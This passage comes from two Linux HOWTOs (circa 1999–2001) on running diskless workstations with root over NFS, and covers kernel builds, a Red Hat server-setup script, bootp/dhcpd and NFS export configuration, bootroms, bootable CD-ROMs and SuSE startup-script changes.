    • We'll just source a bootup script for the ws in the very top of /etc/rc.d/rc.sysinit. Note this script will then ofcourse also be sourced by the server itself on boot, so the script has to detect this and do nothing on the server.
  2. /etc/mtab needs to be writable:
    • This is a tricky one, just create a link to /proc/mounts and create an empty file mounts in /proc so that fsck and mount don't complain during the initscripts when /proc isn't mounted yet. One note smb(u)mount doesn't respect mtab being a link and overwrites it. Thus if you want to use smb(u)mount create wrapper scripts that restore the symlink.


Root over nfs clients & server Howto. : Preparing the server

 Next Previous Contents

3. Preparing the server

Now it's time to prepare the server to serve diskless clients.

3.1 Building a kernel

The first thing todo is build a kernel with the nescesarry stuff in to support root over nfs. Take the following steps to build your kernel:

  1. Since we'll be using redhat-5.2 with kernel-2.2 you should asure yourself that your redhat-5.2 is kernel-2.2 ready. RedHat has got an excellent howto on this.
  2. I use the same kernel for both server and ws, to avoid module conflicts since they share the same /lib/modules. If this is not possible in your situation, fake different kernel versions by editing the version number in the kernel's top makefile. These different versionsnumbers will avoid any conflicts.
  3. Besides the usual stuff the kernel should have the following:
    • ext2 compiled in (if used on server, or for both)
    • nfs and root-over-nfs compiled in (if used on client or both), to get the nfs over root option in 2.2 enable ip-autoconfig in the network options. We'll use bootp as configuration method.
    • ws networkcard support compiled in (if used on client or both)
    • compile devfs in (required for client, also nice for server)
    • anything else you normally use, modules for all other devices used on either the server or all / some ws etc.
  4. The kernel-src needs to be edited to make the default root-over-nfs mount: /tftpboot/<ip>/root instead of just /tftpboot/<ip>. This is to get a clean tree in /tftpboot with one dir per ws containing both the root for it (a link to the actual server root) and any ws specific dirs.
    • For 2.0 This is a define in: "include/linux/nfs_fs.h" called "NFS_ROOT"
    • For 2.2 This is a define in: "fs/nfs/nfsroot.c"
  5. Now just compile the kernel as usual, see the kernel-howto.
  6. If you don't have /dev/nfsroot yet, create it by typing:
    mknod /dev/nfsroot b 0 255.
  7. After compiling the kernel set the root to nfsroot by typing:
    rdev <path-to-zImage>/zImage /dev/nfsroot
  8. Before booting with devfs you need to make a few changes to /etc/conf.modules, append the contents of the conf.modules in the devfs documentation to it.
  9. Since this new kernel is compiled for autoconfig of ip's it will try to autoconf the ip of the server during bootup. Which ofcourse will fail since it gives out the ip's. To avoid a long timeout add: append="ip=off" To the linux section of /etc/lilo.conf.
  10. Run lilo and boot the new kernel.
  11. Due to devfs you'll have lost all symlinks on the server. With redhat this is usually /dev/mouse and /dev/cdrom. Recreate these. If you also used to use special ownerships, chown to appropiate files in /dev. Now save the /dev settings (in /etc/sysconfig, since they might be ws specific):
    • Copy rc.devfs from the devfs documentation in the kernel source to /etc/rc.d/rc.devfs and make it executable
    • Save the settings by typing:
      /etc/rc.d/rc.devfs save /etc/sysconfig

3.2 Creating and populating /tftpboot, making symlinks for /tmp etc.

The next step is to create and populate /tftpboot

The automagic part

This is all handled by a big script since putting a long list of commands into this howto seemed pretty useless to me. If you want todo this manual just read the script and type it in as you go ;)

This setup script thus some nasty things like nuke /tmp, temporary kill syslog, umount /proc. So make sure that noone is using the machine during this, and that X isn't running. Just making sure your the only one logged in on a text-console is enough, no need to change runlevels.

DISCLAIMER: this script has been tested but nevertheless if it messes up your server your on your own. I can take no responsibility what so ever. Lett me repeat this howto is only for experienced linux sysadmins. Also this is script is designed to be run once and I really mean once. Running it twice will nuke: /etc/fstab, /etc/X11/XF86Config, /etc/X11/X and /etc/conf.modules.

Now with that said, just cut and paste the script make it executable, execute it and pray to the holy penguin that it works ;)

#!/bin/sh

SERVER_NAME=`hostname -s`

###
echo creating /etc/rc.d/rc.ws
#this basicly just echos the entire script ;)
echo "#root on nfs stuff

SERVER=$SERVER_NAME

#we need proc for mtab, route etc
mount -t proc /proc /proc

IP=\`ifconfig eth0|grep inet|cut --field 2 -d ':'|cut --field 1 -d ' '\`

#if the first mount fails we're probably the server, or atleast something is
#pretty wrong, so only do the other stuff if the first mount succeeds
mount \$SERVER:/tftpboot/\$IP/sysconfig /etc/sysconfig -o nolock &&
{
   #other mounts
   mount \$SERVER:/home /home -o nolock
   mount \$SERVER:/ /\$SERVER -o ro,nolock

   #/var
   echo Creating /var ...
   mke2fs -q -i 1024 /dev/ram1 1024
   mount /dev/ram1 /var -o defaults,rw
   cp -a /tftpboot/var /

   #network stuff
   . /etc/sysconfig/network
   HOSTNAME=\`cat /etc/hosts|grep \$IP|cut --field 2\`
   route add default gw \$GATEWAY
   ifup lo
}

#restore devfs settings
/etc/rc.d/rc.devfs restore /etc/sysconfig

umount /proc" > /etc/rc.d/rc.ws

###
echo splitting runlevel 3 for the client and server
mv /etc/rc.d/rc3.d /etc/rc.d/rc3.server
cp -a /etc/rc.d/rc3.server /etc/rc.d/rc3.ws
rm /etc/rc.d/rc3.ws/*network
rm /etc/rc.d/rc3.ws/*nfs
rm /etc/rc.d/rc3.ws/*nfsfs
rm /etc/rc.d/rc3.ws/S99local
ln -s /etc/sysconfig/rc.local /etc/rc.d/rc3.ws/S99local
ln -s /etc/rc.d/rc3.server /etc/sysconfig/rc3.d
ln -s /etc/sysconfig/rc3.d /etc/rc.d/rc3.d

###
echo making tmp a link to /var/tmp
rm -fR /tmp
ln -s var/tmp /tmp

###
echo moving various files around and create symlinks for them
echo mtab
/etc/rc.d/init.d/syslog stop
umount /proc
touch /proc/mounts
mount /proc
/etc/rc.d/init.d/syslog start
rm /etc/mtab
ln -s /proc/mounts /etc/mtab
echo fstab
mv /etc/fstab /etc/sysconfig
ln -s sysconfig/fstab /etc/fstab
echo X-config files
mkdir /etc/sysconfig/X11
mv /etc/X11/X /etc/sysconfig/X11
ln -s ../sysconfig/X11/X /etc/X11/X
mv /etc/X11/XF86Config /etc/sysconfig/X11
ln -s ../sysconfig/X11/XF86Config /etc/X11/XF86Config
echo conf.modules
mv /etc/conf.modules /etc/sysconfig
ln -s sysconfig/conf.modules /etc/conf.modules
echo isapnp.conf
mv /etc/isapnp.conf /etc/sysconfig
ln -s sysconfig/isapnp.conf /etc/isapnp.conf

###
echo creating a template dir for the ws directories
echo /tftpboot/template
mkdir /home/tftpboot
ln -s home/tftpboot /tftpboot
mkdir /tftpboot/template
mkdir /$SERVER_NAME
echo root
ln -s / /tftpboot/template/root
echo sysconfig
cp -a /etc/sysconfig /tftpboot/template/sysconfig
rm -fR /tftpboot/template/sysconfig/network-scripts
ln -s /$SERVER_NAME/etc/sysconfig/network-scripts \
 /tftpboot/template/sysconfig/network-scripts
echo NETWORKING=yes > /tftpboot/template/sysconfig/network
echo `grep "GATEWAY=" /etc/sysconfig/network` >> /tftpboot/template/sysconfig/network
echo "/dev/nfsroot / nfs defaults 1 1" > /tftpboot/template/sysconfig/fstab
echo "none /proc proc defaults 0 0" >> /tftpboot/template/sysconfig/fstab
echo "#!/bin/sh" > /tftpboot/template/sysconfig/rc.local
chmod 755 /tftpboot/template/sysconfig/rc.local
rm /tftpboot/template/sysconfig/rc3.d
ln -s /etc/rc.d/rc3.ws /tftpboot/template/sysconfig/rc3.d
rm /tftpboot/template/sysconfig/isapnp.conf
echo var
cp -a /var /tftpboot/var
rm -fR /tftpboot/var/lib
ln -s /$SERVER_NAME/var/lib /tftpboot/var/lib
rm -fR /tftpboot/var/catman
ln -s /$SERVER_NAME/var/catman /tftpboot/var/catman
rm -fR /tftpboot/var/log/httpd
rm -f /tftpboot/var/log/samba/*
for i in `find /tftpboot/var/log -type f`; do cat /dev/null > $i; done
rm `find /tftpboot/var/lock -type f`
rm `find /tftpboot/var/run -type f`
echo /sbin/fsck.nfs
echo "#!/bin/sh
exit 0" > /sbin/fsck.nfs
chmod 755 /sbin/fsck.nfs

echo all done

Manual adjustments to some files

Now we need to make a few manual adjustments to the server:

  1. The ws setup script has to be sourced at the very beginning of rc.sysinit, so add the following lines directly after setting the PATH:
    #for root over nfs workstations.
/etc/rc.d/rc.ws
  2. Strip /etc/rc.d/rc3.ws to a bare minimum. It might be useful to create something like rc.local.ws but I'll leave that up to you. Network and nfsfs are already setup.The following have been already removed / updated by the automagic script:
    • network
    • nfsfs
    • nfs
    • rc.local

3.3 Exporting the appropriate file systems and setting up bootp

The server must ofcourse export the appropriate filesystems and asign the ip addresses to the clients.

Exporting the appropriate file systems

We need to export some dir's for the workstations so for the situation here at the university I would add the following to /etc/exports:

/ *.st.hhs.nl(ro,no_root_squash)
/home *.st.hhs.nl(rw,no_root_squash)

Ofcourse use the apropriate domain ;) and restart nfs by typing:

/etc/rc.d/init.d/nfs restart

Note for knfsd users: knfsd doesn't allow you to have multiple exports on one partition with different permissions. Also knfsd doesn't allow clients to go past partition boundaries for example if a client mounts / and /usr is a different partition it won't have access to /usr. Thus if you use knfsd, at least /home should be on a different partition, the server prepare script already puts /tftpboot in /home so that doesn't need a seperate partition. If you've got any other partitions your clients should have access to export them seperatly and add mount commands for them to /etc/rc.d/rc.ws.

Setting up bootp

  1. If bootp isn't installed yet install it. It comes with RedHat.
  2. Edit /etc/inetd.conf and uncomment the line beginning with bootps, if you want to use a bootprom uncomment tftp while your at it.
  3. Restart inetd by typing:
    /etc/rc.d/init.d/inetd restart


Root over nfs clients & server Howto. : Adding workstations

 Next Previous Contents

4. Adding workstations

Now that the server is all done, we can start adding workstations.

4.1 Creating a boot disk or bootrom

You'll need ot create a bootrom and / or a bootdisk to boot your workstation.

Creating a bootdisk

Even if you wish to use a bootrom its wise to first test with a bootdisk, to create a boot disk just type:

dd if=/<path-to-zImage>/zImage of=/dev/fd0

Creating a bootrom

There are a few free package's out there to create bootroms:

  1. netboot, this is IMHO the most complete free package out there. It uses standard dos packet drivers so allmost all cards are supported. One very usefull hint I got on there mailing list was to pklite the packetdrivers since some commercial drivers are to big to fit into the bootrom. Netboot's documentation is complete enough, so I won't waste any time reproducing it here, it should be more then sufficient to create a bootrom and boot a ws with it. Netboot's webpage is: http://www.han.de/~gero/netboot/
  2. etherboot, this is the other free package out there it has got a few nice features like dhcp support, but has limited driver support as it uses its own driver format. I haven't used this so I really can't give anymore usefull info. Etherboot's webpage is: http://www.slug.org.au/etherboot/

About the roms themselves. Most cards take ordinary eproms with an 28 pins dip housing. These eproms come in size upto 64kB. For most cards you'll need 32kB eproms with netboot. Some cards drivers will fit into 16kB but the price difference of the eproms is minimal. These eproms can be burned with any ordinairy eprom burner.

4.2 Creating a ws dir

Just copy over the template by typing:

cd /tftpbootcp -a template <ip>

You could of course also copy over the dir of a workstation with identical mouse, graphicscard and monitor and ommit the configuration in step 5.4.

4.3 Add entries to /etc/bootptab and /etc/hosts

Edit /etc/bootptab and add an entry for your test ws, an example entry is:

nfsroot1:hd=/tftpboot:vm=auto:ip=10.0.0.237:\
:ht=ethernet:ha=00201889EE78:\
:bf=bootImage:rp=/tftpboot/10.0.0.237/root

Replace nfsroot1 by the hostname you want your ws to have. Replace 10.0.0.237 by the ip you want your ws to have (do this twice) and replace 00201889EE78 by the MAC-ADDRESS of your ws. If you don't know the MAC-ADDRESS of the ws, just boot it with the just created boot disk and look for the MAC-ADDRESS in the boot messages. There's a chance bootpd is already running so just to make sure try to restart it by typing:

killall -HUP bootpd

Don't worry if it fails, that just means it wasn't running, inetd will start it when asked too.

4.4 Booting the ws for the first time

Just boot the ws from the bootdisk. This should get you a working ws in textmode, with the exact same setup as your server except for the ip-nr and the running services. Even if you want to use a bootprom it's wise to first test with the bootdisk, if that works you can try to boot with the bootrom see the bootroms documentation for more info.

4.5 Set the ws specific configuration.

Now it's time to configure any ws specific settings:

  1. First off all to get the mouse working, just run mouseconfig. To apply the changes, and check that the mouse works type:
    /etc/rc.d/init.d restart
  2. Run Xconfigurator, when Xconfigurator has probed the card and you can press ok don't! Since we have moved the symlink for the Xserver from /etc/X11/X to /etc/sysconfig/X11/X Xconfigurator will fail to create the proper link. Thus to make sure the rest of Xconfigurator goes well, switch to another console and create the link in /etc/sysconfig/X11 to the advised server. Now just finish Xconfigurator and test X.
  3. Configure anything else which is different then the server / template:
    • sound: You probaly need to modify isapnp.conf and conf.modules, both are already made links to /etc/sysconfig by the server setup script.
    • cdrom: Link in /dev, entry in /etc/fstab? etc.
    • rc.local: Make any nescesarry changes.
  4. Save the links and any other changes to /dev type:
    /etc/rc.d/rc.devfs save /etc/sysconfig
  5. All done.


Root over nfs clients & server Howto. : Added bonus: booting from cdrom

 Next Previous Contents

5. Added bonus: booting from cdrom

Much of the above also goes for booting from cdrom. Since I wanted to document howto boot from cdrom anyway, I document it in here to avoid typing a lott of the same twice.

Why would one want to boot a machine from cd-rom? Booting from cdrom is interesting everywhere where one wants to run a very specific application, like a kiosk, a library database program or an intenet cafe, and one doesn't have a network or a server to use a root over nfs setup.

5.1 Basic Principle

The basic principle is wants again simple, boot with a cdrom as root. To make this possible we'll use the rockridge extension to put a unix like filesystem on a cd and the Eltorito extension to make cd's bootable.

Things can't be that simple

Ofcourse this setup also has a few problems. most are the same as above:

  1. We'll need write access to: /dev, /var & /tmp.
    • We'll just use the same solutions as with root over nfs (see above):
      • For /dev we'll use Devfs
      • For /var and /tmp we'll use a shared ramdisk of 1mb. It's shared to use the space as effeciently as possible. /tmp is replaced by a symlink to /var/tmp to make the sharing possible.
      • Populating the ramdisk with tarballs or template dirs, works equally well. But with template dirs it's much easier to make changes, thus we'll use template dirs.
  2. Some apps need write access to /home.
    • Put the homedir of the user's who will be running the application in /var, and populate it wiht the rest of /var every boot.
  3. /etc/mtab needs to be writable:
    • Create a link to /proc/mounts and create an empty file mounts in /proc, see above.

5.2 Creating a test setup.

Now that we know what we want todo and how, it's time to create a test setup:

  1. For starters just take one of the machines which you want to use and put in a big disk and a cd-burner.
  2. Install your linux of choice on this machine, and leave a 650mb partition free for the test setup. This install will be used to make the iso-image and to burn the cd's from, so install the nescesarry tools. It will also be used to restore any booboo's which leave the test setup unbootable.
  3. On the 650 mb partition install your linux of choice with the setup you want to have on the cd, this will be the test setup
  4. Boot the test setup.
  5. Compile a kernel as described in Section 3.1, follow all the steps, the changes need for devfs are still needed! At step 3 of Section 3.1 put in the following:
    • isofs compiled in
    • devfs compiled in
    • cdrom support compiled in
    • everything else you need either compiled in or as module.
  6. Configure the test setup:
    • Create the user which we'll be running the application.
    • Put it's homedir in /var.
    • Install the application if needed.
    • Configure the application if needed.
    • Configure the user so that the application is automagicly run after login.
    • Configure linux so that it automaigcly logs in the user.
    • Configure anything else which needs configuring.
  7. Test that the test setup automagicly boots into the apllication and everything works.
  8. Boot the main install and mount the 650 mb partition on /test of the main install.
  9. Put the following in a file called /test/etc/rc.d/rc.iso, this file we'll be sourced at the begining of rc.sysinit to create /var
    #/var
echo Creating /var ...
mke2fs -q -i 1024 /dev/ram1 1024
mount /dev/ram1 /var -o defaults,rw
cp -a /lib/var /

#restore devfs settings, needs proc
mount -t proc /proc /proc
/etc/rc.d/rc.devfs restore /etc/sysconfig
umount /proc
  10. Edit /test/etc/rc.sysinit comment the lines we're the root is remounted rw and add the following 2 lines directly afer setting the PATH:
    #to boot from cdrom
. /etc/rc.d/rc.iso
  11. Copying the following to a script and executing it, this wil create a template for /var and make /tmp and /etc/mtab links.
    #!/bin/sh
echo tmp
rm -fR /test/tmp
ln -s var/tmp /test/tmp

###
echo mtab
touch /test/proc/mounts
rm /test/etc/mtab
ln -s /proc/mounts /test/etc/mtab

###
echo var
mv /test/var/lib /test/lib/var-lib
mv /test/var /test/lib
mkdir /test/var
ln -s /lib/var-lib /test/lib/var/lib
rm -fR /test/lib/var/catman
rm -fR /test/lib/var/log/httpd
rm -f /test/lib/var/log/samba/*
for i in `find /test/lib/var/log -type f`; do cat /dev/null > $i; done
rm `find /test/lib/var/lock -type f`
rm `find /test/lib/var/run -type f`
  12. Remove the creation of /etc/issue* from /test/etc/rc.local it will only fail.
  13. Now boot the test partition again, it will be read only just like a cdrom. If something doesn't work reboot to the working partition fix it, try again etc. Or you could remount / rw ,fix it then reboot straight into to test partition again. To remount / rw type:
    mount -o remount,rw /

5.3 Creating the cd

Creating a boot image

First of all boot into the workign partition. To create a bootable cd we'll need an image of a bootable floppy. Just dd-ing a zimage doesn't work since the loader at the beginning of the zimage doesn't seem to like the fake floppydrive a bootable cd creates. So we'll use syslinux instead.

  1. Get boot.img from a redhat cd
  2. Mount boot.img somewhere through loopback by typing:
    mount boot.img somewhere -o loop -t vfat
  3. Remove everything from boot.img except for:
    • ldlinux.sys
    • syslinux.cfg
  4. Cp the kernel-image from the test partition to boot.img.
  5. Edit syslinux.cfg so that it contains the following, ofcourse replace zImage by the appropiote image name:
    default linux

label linux
kernel zImage
append root=/dev/<insert your cdrom device here>
  6. Umount boot.img:
    umount somewhere
  7. If your /etc/mtab is a link to /proc/mounts umount won't automagicly free /dev/loop0 so free it by typing:
    losetup -d /dev/loop0

Creating the iso image

Now that we have the boot image and an install that can boot from a readonly mount it's time to create an iso image of the cd:

  1. Copy boot.img to /test
  2. Cd to the directory where you want to store the image make sure it's on a partition with enough free space.
  3. Now generate the image by typing:
    mkisofs -R -b boot.img -c boot.catalog -o boot.iso /test

Verifying the iso image

  1. Mounting the image throug the loopbackdevice by typing:
    mount boot.iso somewhere -o loop -t iso9660
  2. Now verify that the contents is ok.
  3. Umount boot.iso:
    umount somewhere
  4. If your /etc/mtab is a link to /proc/mounts umount won't automagicly free /dev/loop0 so free it by typing:
    losetup -d /dev/loop0

Writing the actual cd

Assuming that you've got cdrecord installed and configured for your cd-writer type:

cdrecord -v speed=<desired writing speed> dev=<path to your writers generic scsi device> boot.iso

5.4 Boot the cd and test it

Well the title of this paragraph says it all ;)


Root over nfs clients & server Howto. : Thanks

 Next Previous Contents

6. Thanks

  • The HHS (Haagse Hoge School) a dutch college where I first developed and tested this setup for use in a couple of labs. And where the initial version of this HOWTO was written.
  • ISM a dutch company where I'm doing my final project. Part of the project involves diskless machines, so I got to develop this setup further and had the time to update this HOWTO.
  • All the users who will give me usefull input once this first version is out ;)


Root over nfs clients & server Howto. : Comments

 Next Previous Contents

7. Comments

Comments suggestions and such are welcome. They can be send to Hans de Goede at: j.w.r.degoede@et.tudelft.nl


Root over NFS - Another Approach

George Gousios, cs98011@icsd.aegean.gr

v1.0, 2001-09-12

This HOWTO does not intend to replace the existing Root over NFS Howto's. It is just another approach, particularly useful in large system installations. It is the result of many days of trying to setup a system for the University of the Aegean computer labs. The installation method described here is up and running. The HOWTO is dedicated to all of those guys who programmed these exceptionally good OS and tools. Also dedicated to all people that encouraged me to write it.

1. Introduction

  • 1.1 The setting
  • 1.2 The alternatives
  • 1.3 General Principles

2. Setting up the server

  • 2.1 Setting up the NFS server
  • 2.2 Setting up the DHCP/BOOTP server
  • 2.3 Preparing the base system

3. Setting up the clients

  • 3.1 Errata
  • 3.2 Fiddling with scripts and files!
  • 3.3 Booting the base system
  • 3.4 Configuring the system

4. Preparing the boot disk

  • 4.1 Building a kernel
  • 4.2 Creating the boot disk
  • 4.3 The kernel command line

5. The magic time

6. Other Stuff

  • 6.1 Contributors
  • 6.2 Copyrights
  • 6.3 Contacting the author
  • 6.4 Changelog

7. Appendix

  • 7.1 Appendix A - A script for creating host directories
  • 7.2 Appendix B - A script to create the dhcpd.conf file using arpwatch
  • 7.3 Appendix C - A sample XF86Config file


Root over NFS - Another Approach: Introduction

 Next Previous Contents

1. Introduction

This document does not resemble a common HOWTO, meaning referencing to general principles, but it is rather an on-hand approach to a by nature complex matter. It borrows the structure of the current Root over NFS , but differs from it in the following points:

  • It provides a working solution fom the distribution used. The distribution specific points should be applicable to all major distributions (RedHat,SuSE,Debian).
  • It uses more up to date tools, ex NFS v3.0, kernel 2.4.0, dhcp instead of bootparamd.
  • All steps are described in detail, letting the reader to adapt them to his own system. No scripts!

This HOWTO expects that you have a general knowledge of what you are up to, so first read the Diskless Nodes HOW-TO.

1.1 The setting

It is a common case a University computer lab to have a lot PC's running Windows 98 or/and NT and a powerful UNIX server to satisfy the need of an alternative operating environment. This UNIX server is most of times idle or meerly accessed by telnet and running stupid tasks. On the other hand, students, especially those attending a computer science department, feel like taking full advantage of it, just for fun or for "educational purposes" (breaking in, hacking it...). The restrictive environment of telnet does not allow us to enjoy the use of a power server.There are 2 alternatives to that:

  • Try to persuade the department' s headmaster to approve of the purchase of a bunch of new Unix workstations.
  • Try to persuade the same guy to approve of transforming the server to a diskless node server.

The network at the computer lab consists of the following.

  • UNIX server: SUN Enterprise 3500 with 2 64 bit SPARC@366 Mhz processors and 512 MB of memory. A real monster, isn't it?
  • "Dumb" target workstations: 60-70 PC's with variable configurations, ranging from PII 266 to PIII 450 with 64-128 MB RAM.

The task I had to accomplish was the following: Provide a complete working solution without new expenses and without modifying anything but the necessary on the server.

1.2 The alternatives

Being the responsible for the project, I had to choose between a variety of solutions about it. I choose the following, for the reasons illustrated:

  • The new 2.4 kernel: It provides a robust and fast solution, using less memory than the old 2.2 series. If it is important for your users to attach devices to their PC's then it is the only solution. Also provides NFS v3, and more efficient memory management.
  • The KDE 2.1.1 desktop environment: VERY stable, easy to use, Internet enabled, makes the transition from Windows to Linux desktop almost effortless. GNOME + Afterstep is another option, but not as mature as a solution as KDE.
  • SuSE 7.0 distribution: My favorite one, IMHO the most balanced between ease of use and understanding of a Linux system structure.

1.3 General Principles

To be able to boot a Linux system, you have to provide it with the following:

  • The /sbin directory. There exists the init programm, which is responsible for starting other programms and start up scripts during the boot process. Also, the /sbin directory contains the startup scripts in the case of SuSE, some useful programms like the portmap programm and many other programms that are needed before you mount the /usr directory.
  • The /lib directory. It contains the libc libraries that are absolutely necessary if your init is dynamically linked.
  • The /bin directory. It contains file commands and shells for running startup scripts.
  • The /etc directory. It contains configuration files for most programms and the rc.d directories that is the default for startup scripts.
  • The /var directory. It is a spool area for programms that want to write somewhere. It is divided into many subdirectories with alternate usability.
  • The /dev directory. It contains character and block special devices that allow programms to communicate with the computers devices via the kernel.
You should notice that after a clean install, the total size of these directories is not that big, ranging from 30 to 40 MB. The main load of files exists in the /usr and /opt directories. So, it is possible to create a directory for every diskless client containing the above listed directories and mount points for directories like /usr that will be exported by the server. The boot process, as assumed by this document, is the following:
  1. The user reboots the computer, and using a diskette boots the Linux kernel.
  2. The kernel takes control of the system, identifies the system devices, and uses BOOTP to obtain the IP address matching the NIC 's hardware address.
  3. The init programm is started. Before switching to a run level, it calls a script described in the /etc/inittab file. This script is responsible for building the library cache, initialise and mount a swap file, load some system specific kernel modules and set the hostname.
  4. The boot script finishes and the init programm switches to the specified runlevel. It starts to execute the scripts located into the /etc/rc.d/rcX directory where 'X' is the name of the runlevel. These scripts are responsible for starting the portmapper and mounting the NFS exported /usr, /home and /opt directories.
  5. The user is able to login.
To sum up, the system administrator has to do the following tasks:
  • Prepare a clean install of the system to be exported to the diskless hosts.
  • Create the host specific directories
  • Control what is going to be started during the diskless clients' boot proces
  • Prepare the server to export some directories and start a bootp service.


Root over NFS - Another Approach: Setting up the server

 Next Previous Contents

2. Setting up the server

The first, and less tricky, thing to do is to setup the server. The server must be prepared to run these services:

  • NFS, preferably version 3, for exporting the following directories: /usr, /lib/modules, /opt (at least at SuSE) and /home (unless you have a dedicated file server).
  • DHCP server (in bootp mode), for matching the clients' MAC addresses to IP addresses.
Also, the administrator has to create directories for each client, containing nessesary startup files and programs. The directory scheme created for the installation described was like this one:

/usr/local/linux-
                  |-/base-
                  |       |-/bin
                  |       |-/sbin
                  |       |-/etc
                  |
                  |-/workstations-
                  |               |
                  |               |-195.251.160.100
                  |               |               |-/bin
                  |               |               |-/sbin
                  |               |               |-/etc
                  |               |
                  |               |-195.251.160.101
                  |               |-195.251.160.102
                  |               |-base(symbolic link to ../base)

The /base directory contains the whole file system you want to export to your clients. The per IP directories contain files that are needed before mounting the /usr or /lib/modules directories, like the /etc folder. This is a confortable directory structure for 2 purposes: i) You can easily create a basic system at the base directory and copy the per workstation files at the workstation directories easily, with an entry level bash script ii) You can easily add or delete or update workstations by modifying the directories under /workstations. A script for copying the appropriate files (which will be discused later) can be found in Appendix A.

2.1 Setting up the NFS server

An NFS server can be set up in two ways:

  • Using the /etc/exports file at BSD-compliant Unices like Linux of FreeBSD.
  • Using the /etc/dfs/dfstab at SysV Unices like Solaris.
/etc/exports: The /etc/exports file controls the directories to be exported and the export options per workstation. It has a structure like the following (Linux):

/path/to/dir1   ws1(options) ws2(options)....
/path/to/dir2   ws3(options) ws1(options)....

Options include ro or rw, root_squash, wsize, tcp, version.

Have a look at the nfs or the exports man page and the NFS Howto for a more detailed description of what these options mean.

/etc/dfs/dfstab:A typical dfstab file on Solaris should look like the following:

share -F nfs -o rw=193.250.160@,ro=193.250.161@ /export/home
share -F nfs -o ro=193.250.160@,root=193.250.161.132 /export/engineering

Of course, these options are discused in detail at the dfstab man page.

The directories we want to export are /usr/local/linux/base/usr, /usr/local/linux/base/opt, /usr/local/linux/base/lib/modules and /home, assuming that you 've followed the suggested structure.

Optimising NFS

Of course, this is none of our business but here are some general principles:

  • Reduce the TCP window size (parameter wsize for Linux) to whatever is closest to the MTU of your network type. For Ethernet, a good value of wsize is 2048 bytes as long as the MTU is 1536 bytes. This is generally a good idea because the main traffic load between the clients and the server consists of little packets and only in the case of starting large programms like X or StarOffice there is a big number of fragmented packets. Of course this may vary in your case, according to the needs of your users.
  • If you plan to have a large installation, break the space for your workstations into 2 or more SCSI disks. This will allow consequent writes and reads on both disks, increasing responce and reducing latency before a request completes
  • Always use NFS v3 over TCP. The main reason for migrating from v2 to v3 is the writeback case it offers on both the workstation and the server. Also, mounting NFS over TCP lets you use the first recomentation. \end{itemize} For further optimising use a packet analyzer like Ethereal or tcpdump and dicide your needs.By the way, Sun has written an excellent guide to optimizing NFS performance which, although emphasised on Solaris, is applicable to every modern Unix and is accessible online at http://docs.sun.com.

2.2 Setting up the DHCP/BOOTP server

Although there are many DHCP or BOOTP servers 'out there', some of which are proprietary, the best option is to use the reference IETF DHCP server. It is the least vulnerable and the most extensible DHCP available. The main server configuration is done through the /etc/dhcpd.conf file. This file is divided into two sections, the general server configuration and the host specific configuration. A typical dhcpd.conf file looks like this, in case that the DHCP/BOOTP server is used in BOOTP mode:

subnet 193.250.160.0 netmask 255.255.255.0 {
        range 193.250.160.10 193.250.160.12;
 }

host george{
        hardware ethernet  00:60:08:2C:22:20;
        fixed-address   193.250.160.10;
}

host earth{
        hardware ethernet 00:A0:24:A5:FD:E0;
        fixed-address   193.250.160.12;
}

This structure is fairly easy to be understood by everyone. For every diskless client we have to supply the programm with a 'host' declaration providing a pair of hardware and IP adresses. The host name provided in the 'host' statement can be everything, but there is a conversion to use the real host name of the client having the specific IP. The range statement in the subnet declaration is not necessary to be the range that you want your clients to have. In fact, if these clients are normal workstations with an operating system that during its boot uses DHCP to obtain an IP address it is not recommended to have the same IP for their operation as diskless clients. If you have specific needs, have a look at dhcpd.conf man page.

Another difficulty is how to obtain the IP - MAC address pairs for a large network. The solution is a nice little programm called arpwatch. This programm runs at the background and keeps track of the IP - MAC address pairs of the computers that your computer has contacted in a file that you have specified. The only thing you have to do is to ping the computers you want. At Appendix B there is a script that starts arpwatch, pings a range of subsequent IP's and creates the dhcpd.conf file. If you want to do it manually, start arpwatch when your network is at its peak of usage and wait for some time. On a shared medium network (Ethernet, Tokenring) arpwatch will track down all different IP 's and hardware addresses.

2.3 Preparing the base system

To prepare the base system just install your favorite distribution to a mountable partition on a hard disk with a Unix like operating system already installed. Install all the programms you want to be available to your users. Then you have to transfer the whole partition preserving the links and the character or block devices. This is best done using the tar programm. Boot the previously installed system and execute the following command, assuming that you have mounted the new partition at /mnt:

 tar cpvf system.tar /mnt/.

This command will create a tar archive at the current directory with the whole system to be served to the diskless clients. Then just copy the tar archive to the server using a CDROM or through the network and extract it at the base directory. The command to do this is:

 tar xvf system.tar /usr/local/linux/base


Root over NFS - Another Approach: Setting up the clients

 Next Previous Contents

3. Setting up the clients

3.1 Errata

In order to setup the clients, we have to work on the base system. First, we will make some modifications to the startup scripts by hand and second we will boot a workstation with the base system to make sure it works and to polish some details. Note that this part is very distribution specific and perhaps some of those described here are not applicable to your case. I can only guarantee that this works for SuSE 7.0. Please, feel free to send me distribution specific copies of this page!

3.2 Fiddling with scripts and files!

After init is started, it executes a script described in /etc/inittab. This script has a very spesific job to do: Bring the system in a state that other programms can be started. In most distributions I can think of this script does the following:

  1. Mounts the /proc, /dev/pts and swap filesystems.
  2. Activates raid arrays and fscks the root filesystem.
  3. Adjusts the clock.
  4. Starts the kernel deamon for autoloading of modules.
  5. Executes user defined client scripts.
  6. Set some kernel parameters.
On most distributions I have checked this script is very well commented and it is possible for an experienced user to remove some lines that are not wanted or not applicable during a network boot. I 've also noticed that all programms started do not require the /usr directory to be mounted. If you are trying to netboot a host you must do the following modifications to this script:

  • Remove all entries that do fsck or initialise raid arrays, and add to the top of the script this command : mount -o remount,rw / because the client has to have rw access to the root directory when it boots.
  • Do not let the kernel deamon start until all partitions are mounted
  • Mount a swap partition. This is described later.
  • Start the portmapper. If your system has a specific directory for starting bootup scripts, place the portmapper startup script there giving it the highest priority possible, for example: ln -s /etc/rc.d/portmap /etc/rc.d/boot/S01portmap if you are using SuSE.
  • Place the NFS filesystem mounting script in the system specific directory for boot scripts with priority lower than the portmapper, for example ln -s /etc/rc.d/nfs /etc/rc.d/boot/S02nfs for SuSE.
  • Remove all entries that automount local partitions, and all entries that start an automounter deamon for RedHat.

How to setup a swap partition

This is tricky business! Swapping over NFS is not allowed by the kernel and not functioning either. You cannot use swapon on files that are on an NFS mounted filesystem. We have to do some tricks to enable it:

  1. Create the swap file. Its size can be variable but for a machine with 128 MB of RAM a swap size of 40-50 MB seems reasonable. The command to create the swap file is: dd if=/dev/zero of=/var/swap bs=1k count=Xk where X stands for the number of MB your swap should be. It is also a necessity to put the swap file under /var as long as it is mounted at boot.
  2. Format the swap file using the mkswapfs command.
